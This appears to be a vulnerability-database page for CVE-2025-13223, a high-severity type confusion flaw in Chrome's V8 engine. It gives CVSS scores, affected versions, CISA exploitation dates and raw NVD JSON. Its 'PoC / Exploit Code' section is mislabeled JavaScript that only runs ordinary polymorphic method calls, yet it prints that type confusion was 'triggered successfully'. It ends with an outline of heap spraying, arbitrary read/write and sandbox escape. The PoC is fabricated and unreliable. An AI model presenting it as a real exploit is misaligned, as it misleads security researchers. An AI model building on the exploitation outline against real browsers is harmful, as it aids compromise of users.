Security Vulnerability Report
中文
CVE-2025-13223 CVSS 8.8 HIGH

CVE-2025-13223

Published: 2025-11-17 23:15:45
Last Modified: 2025-12-02 14:33:53

Description

Type Confusion in V8 in Google Chrome prior to 142.0.7444.175 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.175
Chromium-based browsers using V8 engine < 142.0.7444.175

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13223 PoC - V8 Type Confusion in Google Chrome < 142.0.7444.175 // This PoC demonstrates the type confusion vulnerability pattern in V8 // Note: Actual exploit requires specific heap grooming techniques function triggerTypeConfusion() { // Pattern: Create objects with controlled type transitions // This triggers type confusion in V8's TurboFan optimizer class A { constructor() { this.field1 = 0x41414141; } getValue() { return this.field1; } } class B { constructor() { this.field1 = 0x42424242; this.field2 = 0x43434343; } getValue() { return this.field1 + this.field2; } } // Heat up TurboFan optimization let objA = new A(); for (let i = 0; i < 10000; i++) { objA.getValue(); } // Force deoptimization and type confusion // Attacker's goal: Make V8 assume objA has type A but receives type B function exploit(obj) { // V8 may assume obj is of type A and optimize based on that // If obj is actually of type B, this causes type confusion return obj.getValue(); } // Trigger polymorphic behavior to confuse type system let objB = new B(); for (let i = 0; i < 10000; i++) { exploit(objB); } // Final trigger with type confusion // In real exploit: Use WebAssembly or SharedArrayBuffer for heap spray return exploit(objA); } // Execute the PoC try { triggerTypeConfusion(); console.log('[+] Type confusion triggered successfully'); } catch (e) { console.log('[-] Error:', e.message); } /* * Real-world exploitation typically involves: * 1. Heap spraying to control memory layout * 2. Using SharedArrayBuffer to trigger Spectre-style attacks * 3. Corrupting V8 heap objects to achieve arbitrary read/write * 4. Escaping sandbox to execute native code */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13223", "sourceIdentifier": "[email protected]", "published": "2025-11-17T23:15:45.140", "lastModified": "2025-12-02T14:33:52.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Type Confusion in V8 in Google Chrome prior to 142.0.7444.175 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}, {"lang": "es", "value": "Confusión de tipos en V8 en Google Chrome Versiones anteriores a 142.0.7444.175 permitió a un atacante remoto potencialmente exploitar la corrupción de la pila a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Alta)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2025-11-19", "cisaActionDue": "2025-12-10", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Google Chromium V8 Type Confusion Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-843"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.175", "matchCriteriaId": "A3F3CAD1-884B-471E-8FDF-F42DA3DC356E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/11/stable-channel-update-for-desktop_17.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/460017370", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-13223", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}